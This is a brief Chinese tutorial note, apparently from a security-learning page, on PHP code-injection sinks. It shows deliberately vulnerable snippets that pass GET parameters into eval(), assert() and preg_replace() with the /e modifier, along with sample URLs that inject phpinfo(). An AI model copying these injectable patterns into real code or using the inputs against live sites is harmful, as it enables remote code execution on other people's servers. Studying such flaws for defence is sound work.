🔥码云GVP开源项目 12k star Uniapp+ElementUI 功能强大 支持多语言、二开方便! 广告
eval() ``` $get="phpinfo()"; eval("\$test=$get;"); ``` assert() ``` $get="phpinfo()"; assert("\$test=$get;"); ``` 具体 ``` 浏览器:php?p=phpinfo() php脚本: if(isset($_GET['p'])){ $p=$_GET['p']; } eval("\$p=$p;"); ``` preg_replace() 当 pattern 中存在/e 模式修饰符,即允许执行代码。 好在新版本php已经不支持被preg_replace_callback替代 ``` //pattern 在一个参数 <?php 浏览器传入一个php结束标志 // php?reg=<\/php>/e echo $regexp = $_GET['reg']; $var = '<php>phpinfo()</php>'; preg_replace("/<php>(.*?)$regexp", '\\1', $var); ?> //replacement 第二个参数 <?php // php?p=phpinfo() preg_replace("/moon/e",$_GET['p'],"I love moon"); ?> //preg_replace()第三个参数注射 <?php // php?p=[php]phpinfo()[/php] preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['p']); ?> ```